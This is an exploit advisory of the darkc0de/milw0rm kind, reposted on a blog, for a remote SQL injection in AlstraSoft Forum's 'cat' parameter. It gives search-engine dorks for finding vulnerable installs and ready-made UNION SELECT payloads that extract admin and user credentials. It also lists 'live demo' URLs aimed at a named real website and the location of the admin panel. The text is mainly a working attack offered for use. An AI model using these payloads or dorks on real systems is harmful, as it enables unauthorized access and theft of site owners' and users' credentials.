Altrasoft Forum (cat) Remote SQL Injection Vulnerability
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____    _      __| _/____    #
#    / __ |\__  \_  __   |/ // ___/  /_    / __ |/ __    #
#   / /_/ | / __ |  | /    <  \___  \_/   / /_/   ___/   #
#   \____ |(______/__|  |__|_ \_____>\_____  /\_____|\____   #
#        /                  /             /                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ / / /                #
#                   \___|  | /  ___/     /                 #
#                  \___  >__|    \___  >/\_/                  #
#      est.2007        /            /   forum.darkc0de.com   #
################################################################
# –d3hydr8 – rsauron – baltazar – sinner_01 – C1c4Tr1Z – beenu#
#  —  QKrun1x  – skillfaker – FeDeReR – Optyx – Nuclear 
#                   and all darkc0de members                —#
################################################################
#
# Author: r45c4l and P47r1ck
#
# Home  : www.darkc0de.com
#
# Email : r45c4l@hotmail.com, p47r1ckro[at]gmail[dot]com
#
# Share the c0de!
#
################################################################
#
# Exploit: Altrasoft Forum (cat) Remote SQL Injection Vulnerability
#
#
# App Name:  AlstraSoft Forum
#
# App Home: http://www.alstrasoft.com/
#
# Dork: inurl:index.php?menu=showcat=
# Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange
#
#
#
#
#
# POC: For Admin id and pass
#      index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin–
#
# P0C-2: For Users id and pass
#       index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+2,1–
#
# Live Demo: (For admin)
#
# http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin–
# 
# Live Demo: (For Users)
#  http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1–
#
#
# Admin panel is at http://site.com/admin
################################################################
# Vuln Discovered 7th Sep 2008

# milw0rm.com

本文固定链接: http://www.daopo.org/2008/09/08/remote-sql-injection-vulnerability/ | 天晴轩